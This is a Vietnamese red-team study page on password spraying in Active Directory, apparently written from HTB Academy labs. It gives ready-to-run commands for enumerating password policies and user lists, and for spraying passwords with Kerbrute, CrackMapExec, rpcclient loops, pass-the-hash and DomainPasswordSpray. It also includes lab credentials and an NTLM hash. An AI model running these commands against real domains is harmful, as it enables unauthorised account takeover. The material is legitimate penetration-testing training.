> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/password-spaying.md). # Password Spaying Password Spraying là kĩ thuật thay vì bruteforce password cho 1 user thì chúng ta brute 1 password cho nhiều user.\ Vì dùng nhiều password cho 1 user sẽ bị limit, chúng ta test 1 password cho nhiều user, có delay time ⇒ không bị limit. Và để Spaying hiệu quả thì chúng ta cần enum password policy trước để biết được nên chọn wordlist như thế nào. ## Enumerating & Retrieving Password Policies ### 1. Enumerating the Password Policy - Linux - Credentialed Dùng [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)​ ```bash crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol ``` ### 2. Enumerating the Password Policy - Linux - SMB NULL Sessions #### **Using rpcclient :** ```bash rpcclient -U "" -N 172.16.5.5 ``` **Obtaining the Password Policy using rpcclient :** ```bash rpcclient $> querydominfo ``` #### Using enum4linux : ```bash enum4linux -P 172.16.5.5 ``` #### Using enum4linux-ng : ```bash enum4linux-ng -P 172.16.5.5 -oA ilfreight ``` ### 3. Enumerating Null Session - Windows **Establish a null session from windows :** ```bash net use \\\\DC01\\ipc$ "" /u:"" ``` **Error: Account is Disabled :** ```bash net use \\\\DC01\\ipc$ "" /u:guest System error 1331 has occurred. This user can't sign in because this account is currently disabled. ``` **Error: Password is Incorrect :** ```bash net use \\\\DC01\\ipc$ "password" /u:guest System error 1326 has occurred. The user name or password is incorrect. ``` **Error: Account is locked out (Password Policy) :** ```bash C:\htb> net use \\DC01\ipc$ "password" /u:guest System error 1909 has occurred. The referenced account is currently locked out and may not be logged on to. ``` ### 4. Enumerating the Password Policy - Linux - LDAP Anonymous Bind [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) cho phép **attacker unauthenticated** lấy thông tin từ domain, chẳng hạn như user list, group, computers, user account attributes và password policy. Đây là cấu hình cũ và kể từ Windows Server 2003, chỉ những user authenticated mới được query LDAP. Chúng ta vẫn thỉnh thoảng thấy cấu hình này vì Admin có thể cần thiết lập một ứng dụng cụ thể để cho phép truy cập unauth và cấp quyền truy cập nhiều hơn mức cho phép, do đó cho phép user unauth truy cập vào tất cả các đối tượng trong Active Directory. [**ldapsearch**](https://linux.die.net/man/1/ldapsearch) **command get password policy:** ```bash ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength ``` Reply : ```bash $> ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength forceLogoff: -9223372036854775808 lockoutDuration: -18000000000 lockOutObservationWindow: -18000000000 lockoutThreshold: 5 maxPwdAge: -9223372036854775808 minPwdAge: -864000000000 minPwdLength: 8 modifiedCountAtLastProm: 0 nextRid: 1002 pwdProperties: 1 pwdHistoryLength: 24 ``` ### 5. Enumerating the Password Policy - Windows Ở Window thì chúng ta có thể sử dụng `net.exe` built-in hoặc các tool khác\ **Using net.exe :** ```bash net accounts ``` ```bash C:\htb> net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 1 Maximum password age (days): Unlimited Minimum password length: 8 Length of password history maintained: 24 Lockout threshold: 5 Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: SERVER The command completed successfully. ``` **Using PowerView :** ```bash import-module .\PowerView.ps1 Get-DomainPolicy ``` ```bash PS C:\htb> import-module .\PowerView.ps1 PS C:\htb> Get-DomainPolicy Unicode : @{Unicode=yes} SystemAccess : @{MinimumPasswordAge=1; MaximumPasswordAge=-1; MinimumPasswordLength=8; PasswordComplexity=1; PasswordHistorySize=24; LockoutBadCount=5; ResetLockoutCount=30; LockoutDuration=30; RequireLogonToChangePassword=0; ForceLogoffWhenHourExpire=0; ClearTextPassword=0; LSAAnonymousNameLookup=0} KerberosPolicy : @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1} Version : @{signature="$CHICAGO$"; Revision=1} RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]} Path : \\INLANEFREIGHT.LOCAL\sysvol\INLANEFREIGHT.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHI NE\Microsoft\Windows NT\SecEdit\GptTmpl.inf GPOName : {31B2F340-016D-11D2-945F-00C04FB984F9} GPODisplayName : Default Domain Policy ``` ## Password Spraying - Making a Target User List Để password spaying được hiệu quả thì chúng ta cần có 1 list username và password policy ### 1. SMB NULL Session to Pull User List: Nếu chúng ta ở trong 1 máy nội bộ mà ko có credentinals, chúng ta có thể dùng SMB NULL sessions hoặc LDAP anonymous ở DC **Using enum4linux :** ```bash enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]" ``` **Using rpcclient :** ``` rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomusers ``` **Using CrackMapExec --users Flag :** ```bash crackmapexec smb 172.16.5.5 --users ``` ### 2. Gathering Users with LDAP Anonymous: **Using ldapsearch :** ```bash ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" " ``` **Using windapsearch :** ```bash ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U ``` ### 3. Enumerating Users with Kerbrute: Nếu chúng ta hoàn toàn không có quyền truy cập từ vị trí của mình trong mạng nội bộ, chúng ta có thể sử dụng Kerbruteđể liệt kê các tài khoản AD hợp lệ và để bruteforce password. Vì Kerbrute dùng phương thức login tới DC, nếu sai user báo user ko tồn tại, có thì bắt nhập mk nên nó hoàn toàn health Dùng list [jsmith](https://github.com/insidetrust/statistically-likely-usernames/blob/master/jsmith.txt) hoặc là [linkedin2username](https://github.com/initstring/linkedin2username) ```bash kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt ``` ### 4. Credentialed Enumeration to Build our User List: Nếu đã có credential thì ez hơn, dùng crackmapexec ```bash sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users ``` ## Spraying ### 1. Internal Password Spraying - Linux #### Internal Password Spraying from a Linux Host : **Bash one-line** ```bash for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done ``` **Using Kerbrute for the Attack :** ```bash kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1 ``` **Using CrackMapExec & Filtering Logon Failures :** ```bash sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep + ``` **Validating the Credentials with CrackMapExec :** ```bash sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123 ``` #### Local Administrator Password Reuse : Khi chúng ta đã lấy dc admin password từ 1 trong các máy trong network đó, chúng ta có thể reuse lại credentinal đó để log vào máy khác . **Local Admin Spraying with CrackMapExec :** ```bash sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep + ``` (Dùng hash thì thêm `--local-auth`) ### 2. Internal Password Spraying - Windows **Using** [**DomainPasswordSpray.ps1**](https://github.com/dafthack/DomainPasswordSpray) **:** ```bash Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/active-directory/password-spaying.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.